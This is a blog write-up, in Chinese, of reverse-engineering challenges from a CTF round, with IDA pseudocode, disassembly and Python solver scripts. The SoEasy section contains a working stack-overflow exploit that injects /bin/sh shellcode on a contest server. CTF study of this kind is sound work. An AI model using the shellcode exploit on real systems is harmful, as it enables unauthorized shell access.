美文网首页CTF Re&&Pwn
网鼎杯第三场_Re

网鼎杯第三场_Re

作者: Kirin_say | 来源:发表于2018-08-28 17:15 被阅读13次

0x01 babyre

.NET逆向,dnSpy打开,点击flag后暂停程序
单步执行找到输出flag的点
跟入看到Form结构,其中即定义了flag:


flag

0x02 SimpleSMC

直接运行输入flag总会报段错误,猜测是中间有对函数解码过程
通过strings:"input your flag"很容易定位到判断函数
可以看到关键的判断语句:

  if ( (unsigned int)((__int64 (__fastcall *)(_BYTE *, char *))loc_400BAC)(v5, &v4)
    && (v0 = &v4, (unsigned int)((__int64 (__fastcall *)(char *))loc_400AA6)(&v4)) )
  {
    v0 = "[*]YOU WIN[*]";
    sub_410060("[*]YOU WIN[*]");
    result = 0LL;
  }

首先看到400BAC有花:



nop掉E8,create function,看到:

signed __int64 __fastcall sub_400BAC(__int64 a1)
{
  int i; // [rsp+Ch] [rbp-Ch]

  for ( i = 0; *((_BYTE *)&loc_400AA6 + i) != -61; ++i )
    *((_BYTE *)&loc_400AA6 + i) ^= *(_BYTE *)(i % 7 + a1);
  return 1LL;
}

其利用我们输入flag中22~28位(通过传参可以看到)对loc_400AA6进行解码。
首先可以在动态调试中断到此处(静态不行,在进入解码之前loc_400AA6会改变),根据loc_400AA6的开始几个值与"push rbp;mov rbp,rsp"异或得出:"F1@g"
后三个暂时没想到其他方法,直接patch掉程序:
把:

.text:0000000000400D9C                 test    eax, eax
.text:0000000000400D9E                 jz      short loc_400DB1
.text:0000000000400DA0                 mov     edi, offset aYouWin ; "[*]YOU WIN[*]"

中的判断nop掉,只要flag中解码的7位正确,就会输出YOU WIN,否则段错误(考虑写脚本爆破,如果没有输出,p.recv()接收不到字符也会EOFError,有多组解,最后需要调试看一下):

from pwn import *

ans=""
for i in range(32,127):
  for j in range(32,127):
    for k in range(32,127):
          s="a"*21+"F1@g"+chr(i)+chr(j)+chr(k)
          p=process("./SimpleSMC")
          p.recvuntil("flag:\n")
          p.sendline(s)
          try:
             p.recv()
             print s
             ans=ans+s+"   "
          except EOFError:
               p.close()
print ans

不过这样显然有点失了智(太慢了),看了队里大佬的wp,可以根据结尾'call __stack_chk_fail;(使用sig找到函数) leave; ret'来解后三字节,解出是"F1@gChe",而后便是逆400AA6的过程:

.text:0000000000400AD2     call    sub_4009AE

sub_4009AE:

.text:00000000004009AE push    rbp
.text:00000000004009AF mov     rbp, rsp
.text:00000000004009B2 sub     rsp, 10h
.text:00000000004009B6 mov     [rbp+var_8], rdi
.text:00000000004009BA mov     [rbp+var_C], esi
.text:00000000004009BD mov     [rbp+var_10], edx
.text:00000000004009C0 mov     eax, [rbp+var_C]
.text:00000000004009C3 sar     eax, 1
.text:00000000004009C5 mov     edx, eax
.text:00000000004009C7 mov     rax, [rbp+var_8]
.text:00000000004009CB mov     esi, edx
.text:00000000004009CD mov     rdi, rax
.text:00000000004009D0 mov     eax, 0
.text:00000000004009D5 call    sub_400A18
.text:00000000004009DA cmp     [rbp+var_10], 0
.text:00000000004009DE jz      short loc_4009F9
.text:00000000004009E0 mov     eax, [rbp+var_10]
.text:00000000004009E3 lea     edx, [rax-1]
.text:00000000004009E6 mov     ecx, [rbp+var_C]
.text:00000000004009E9 mov     rax, [rbp+var_8]
.text:00000000004009ED mov     esi, ecx
.text:00000000004009EF mov     rdi, rax
.text:00000000004009F2 call    sub_4009AE
.text:00000000004009F7 jmp     short near ptr loc_400A15+1
.text:00000000004009F9 ; ---------------------------------------------------------------------------
.text:00000000004009F9
.text:00000000004009F9 loc_4009F9:                             ; CODE XREF: sub_4009AE+30↑j
.text:00000000004009F9 push    rax
.text:00000000004009FA xor     rax, rax
.text:00000000004009FD jz      short loc_400A03
.text:00000000004009FF add     rsp, 4
.text:0000000000400A03
.text:0000000000400A03 loc_400A03:                             ; CODE XREF: sub_4009AE+4F↑j
.text:0000000000400A03 pop     rax
.text:0000000000400A04 jle     near ptr loc_400A10+1
.text:0000000000400A0A jnz     near ptr loc_400A10+1
.text:0000000000400A10
.text:0000000000400A10 loc_400A10:                             ; CODE XREF: sub_4009AE+56↑j
.text:0000000000400A10                                         ; sub_4009AE+5C↑j
.text:0000000000400A10 call    near ptr loc_400ACA+3
.text:0000000000400A15
.text:0000000000400A15 loc_400A15:                             ; CODE XREF: sub_4009AE+49↑j
.text:0000000000400A15 add     cl, cl
.text:0000000000400A17 retn

sub_400A18对我们输入进行处理
首先调用了一次

.text:00000000004009CB mov     esi, edx
.text:00000000004009CD mov     rdi, rax
.text:00000000004009D0 mov     eax, 0
.text:00000000004009D5 call    sub_400A18

而后:

.text:00000000004009DA cmp     [rbp+var_10], 0
.text:00000000004009DE jz      short loc_4009F9
.text:00000000004009E0 mov     eax, [rbp+var_10]
.text:00000000004009E3 lea     edx, [rax-1]
.text:00000000004009E6 mov     ecx, [rbp+var_C]
.text:00000000004009E9 mov     rax, [rbp+var_8]
.text:00000000004009ED mov     esi, ecx
.text:00000000004009EF mov     rdi, rax
.text:00000000004009F2 call    sub_4009AE

通过判断[rbp+var_10]处(0x40,且递减1),又调用了0x40次call sub_4009AE,即调用了1+0x40*
sub_400A18:

__int64 __fastcall sub_400A18(__int64 a1, int a2)
{
  int i; // [rsp+1Ch] [rbp-4h]

  if ( !a2 )
    return 0LL;
  for ( i = 0; i < a2; ++i )
    *(_BYTE *)(a2 + i + a1) ^= *(_BYTE *)(i + a1);
  return sub_400A18(a1, (unsigned int)(a2 >> 1));
}

简单的异或逻辑,同时可以看出,每0x8次调用即会抵消
所以就相当于调用了1次
400AA6最后:

.text:0000000000400AD7 mov     qword ptr [rbp-30h], 0
.text:0000000000400ADF mov     qword ptr [rbp-28h], 0
.text:0000000000400AE7 mov     qword ptr [rbp-20h], 0
.text:0000000000400AEF mov     qword ptr [rbp-18h], 0
.text:0000000000400AF7 mov     byte ptr [rbp-10h], 0
.text:0000000000400AFB mov     byte ptr [rbp-30h], 66h
.text:0000000000400AFF mov     byte ptr [rbp-2Fh], 0Ah
.text:0000000000400B03 mov     byte ptr [rbp-2Eh], 7
.text:0000000000400B07 mov     byte ptr [rbp-2Dh], 0Bh
.text:0000000000400B0B mov     byte ptr [rbp-2Ch], 1Dh
.text:0000000000400B0F mov     byte ptr [rbp-2Bh], 8
.text:0000000000400B13 mov     byte ptr [rbp-2Ah], 51h
.text:0000000000400B17 mov     byte ptr [rbp-29h], 38h
.text:0000000000400B1B mov     byte ptr [rbp-28h], 1Fh
.text:0000000000400B1F mov     byte ptr [rbp-27h], 5Ch
.text:0000000000400B23 mov     byte ptr [rbp-26h], 14h
.text:0000000000400B27 mov     byte ptr [rbp-25h], 38h
.text:0000000000400B2B mov     byte ptr [rbp-24h], 30h
.text:0000000000400B2F mov     byte ptr [rbp-23h], 0Ah
.text:0000000000400B33 mov     byte ptr [rbp-22h], 1Ah
.text:0000000000400B37 mov     byte ptr [rbp-21h], 28h
.text:0000000000400B3B mov     byte ptr [rbp-20h], 39h
.text:0000000000400B3F mov     byte ptr [rbp-1Fh], 59h
.text:0000000000400B43 mov     byte ptr [rbp-1Eh], 0Ch
.text:0000000000400B47 mov     byte ptr [rbp-1Dh], 24h
.text:0000000000400B4B mov     byte ptr [rbp-1Ch], 24h
.text:0000000000400B4F mov     byte ptr [rbp-1Bh], 22h
.text:0000000000400B53 mov     byte ptr [rbp-1Ah], 1
.text:0000000000400B57 mov     byte ptr [rbp-19h], 1Fh
.text:0000000000400B5B mov     byte ptr [rbp-18h], 1Eh
.text:0000000000400B5F mov     byte ptr [rbp-17h], 73h
.text:0000000000400B63 mov     byte ptr [rbp-16h], 1Dh
.text:0000000000400B67 mov     byte ptr [rbp-15h], 3Ah
.text:0000000000400B6B mov     byte ptr [rbp-14h], 8
.text:0000000000400B6F mov     byte ptr [rbp-13h], 5
.text:0000000000400B73 mov     byte ptr [rbp-12h], 15h
.text:0000000000400B77 mov     byte ptr [rbp-11h], 0Ah
.text:0000000000400B7B mov     rdx, [rbp-38h]
.text:0000000000400B7F lea     rax, [rbp-30h]
.text:0000000000400B83 mov     rsi, rdx
.text:0000000000400B86 mov     rdi, rax
.text:0000000000400B89 call    sub_400360

即:将我们的输入和定义的字符比对(没用sig,看参数猜测call sub_400360为strcmp)
对应数据逆出flag:

key=[ 0x66, 0x0A, 0x07, 0x0B, 0x1D, 0x08, 0x51, 0x38, 0x1F, 0x5C,  0x14, 0x38, 0x30, 0x0A, 0x1A, 0x28, 0x39, 0x59, 0x0C, 0x24,  0x24, 0x22, 0x01, 0x1F, 0x1E, 0x73, 0x1D, 0x3A, 0x08, 0x05, 0x15, 0x0A]
def dec(k,b):
    if b>16:
        return 0
    else:
        for i in range(b):
            k[i+b]^=k[i]
        return dec(k,b<<1)
if __name__=="__main__":
    dec(key,1)
    print "".join(chr(i) for i in key)

0x03 I_like_pack

赛中没做出来,方向错了
复现一下过程:
首先,程序短时间自动停止
猜测调用了alarm(),并有ptrace

strace  -i ./re

可以发现:


strace

在gdb下断到ptrace系统条用处:

catch syscall ptrace

查看调用栈:

gdb-peda$ bt
#0  0x00007ffff7ae8e2e in ?? ()
#1  0x0000000000400a84 in ?? ()
#2  0x00007fffffffcb88 in ?? ()
#3  0x0000000100000000 in ?? ()
#4  0x0000000000000000 in ?? ()

在0x400a84处下硬件断点
动态调试时create function,看到判断函数:

      for ( j = 0; j <= 35; ++j )
      {
        if ( dword_60F0E0[*(&v10 + j)] != v46[j] - 45 )
        {
          sub_4007D0(&loc_401748);
          sub_4008E0(0LL);
        }
      }

简单异或逻辑,导出数据逆flag即可:

key1= [0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xA, 0xB, 0xC, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39,0x00]
key2= [0x0B, 0x08, 0x07, 0x07, 0x08, 0x0C, 0x03, 0x02, 0x10, 0x06, 0x0D, 0x05, 0x07, 0x10, 0x04, 0x01, 0x00, 0x0F, 0x10, 0x08, 0x03, 0x06, 0x0E, 0x10, 0x00, 0x08, 0x06, 0x09, 0x0C, 0x0E, 0x0D, 0x0B, 0x0F, 0x07, 0x0B, 0x0E]
flag = ""
for i in range(35):
  flag += chr( key1[key2[i]]+45)
print  "flag{"+flag+"}"

0x04 SoEasy

程序没开任何保护:

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

最简单的shellcode栈溢出
EXP:

from pwn import *

p=remote("106.75.95.47",42264)
p.recvuntil("->0x")
s=p.recvuntil("do?")
addr=int(s[:8],16)
payload="\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb8\x0b\x00\x00\x00\xcd\x80"+"A"*52+p32(addr)
p.sendline(payload)
p.interactive()

0x05 dewas

很简单的画图,记一下脚本:

from PIL import Image

MAX=1000

pic=Image.new("RGB",(MAX,MAX))

str="ddssdssdssdssdssdssdswdwwdwwdwwdwwddssdssdssdssdswdwwdwwdwwdwwdwwdwwdedsssssssssssssedwdwwdwwdwwdwwdwwdwwddssdssdssdsaaaaaaaaddddddddsdssdssdsdedwwwedsddsdddsddddwdddwddwwawaaawaaawaaawaaawadwdwwdddwdddsdddsddsedddddwwwessssssssssssssddddwdddwddwddwddwdwwdwawwaawaawaawaaawaaaaeddddddddddddddddddesssssssssssssseddddddewwwwwwwwwwwwwwdssdssdssdssdssdssdssdwwwwwwwwwwwwwweddddddddddddddssssssewwawwawawaaasasassasssassdsssdsddsddddwdwwdwwwaaaeddddddssssssewdwdwdwdwdwdwdawawawawawawaweddddddddddeddddddddaaaaaaaasssssssddddddaaaaaassssssseddddddddddddwwwwwwwwwwwwwwessssssssssdssdsddsdddwddwdwwdwwwwwwwwwwedddddssssssssssssssewwwwwwwwwwwwwwdssdssdssdssdssdssdssdwwwwwwwwwwwwwwedddddesssssssssesssess"

flagx=0
flagy=20
for  y  in  range(0,MAX):

  for  x  in  range(0,MAX):
       pic.putpixel([x,y],(255,255,255))
for key in str:
   if key=="e":
        pass
   if key=="d":
      for x in range(0,5): 
           pic.putpixel([flagx+x,flagy],(0,0,0))
      flagx=flagx+5
   if key=="s":
       for x in range(0,5):
          pic.putpixel([flagx,flagy+x],(0,0,0))
       flagy+=5
   if key=="a":
        for x in range(0,5):
          pic.putpixel([flagx-x,flagy],(0,0,0))
        flagx-=5
   if key=="w":
        for x in range(0,5):
          pic.putpixel([flagx,flagy-x],(0,0,0))
        flagy-=5
pic.show()

pic.save("flag.png")

相关文章

  • 网鼎杯第三场_Re

    0x01 babyre .NET逆向,dnSpy打开,点击flag后暂停程序单步执行找到输出flag的点跟入看到F...

  • 网鼎杯2020RE

    0x00 band 使用frida来dump dex文件,这里使用了https://github.com/hluw...

  • [网鼎杯] 第三场web writeup

    网鼎杯 第三场 web 拿了hs给我的账号开始赛后做题之旅,没有多个人做题的限制真的是赛后做题似神仙 phone ...

  • [网鼎杯] writeup

    网鼎杯 这次还行很开心 挺满足 题目列表 web facebook 首先访问robots.txt 存在备份泄露,把...

  • [网鼎杯线下] web && droopy 靶场

    网鼎杯线下web && droopy 靶场 这次网鼎打完啦,还是觉得自己太菜了半决赛第二也是抱了pwn爷爷的大腿(...

  • 网鼎杯blend wp

    记录一次菜的抠脚的学习过程 题目是一个bin文件,首先通过file命令看一下文件格式 拖到IDA Pro 可以识别...

  • 网鼎杯(4)-pwn

    题目链接 保护还挺多 主要漏洞点: stack函数有栈溢出,还有puts函数可以泄漏栈的东西 secret函数由于...

  • 网鼎杯(1)-guess

    明显的栈溢出漏洞,但是开了canary保护但是flag被读取到栈上,所以可以用SSP(Stack Smashes ...

  • 网鼎杯(1)-blind

    怀着学习的心态就看了两道题(都有点难 很明显的uaf漏洞,但是开了RELRO,而且泄漏不了地址,但是可以利用uaf...

  • 网鼎杯线下赛

    网鼎杯线下赛 初赛的时候因为和江苏的比赛时间冲突了所以我没打, 不过各位大佬们都很强, 最终以线上赛第一名的名次进...

网友评论

    本文标题:网鼎杯第三场_Re

    本文链接:https://www.haomeiwen.com/subject/hnutwftx.html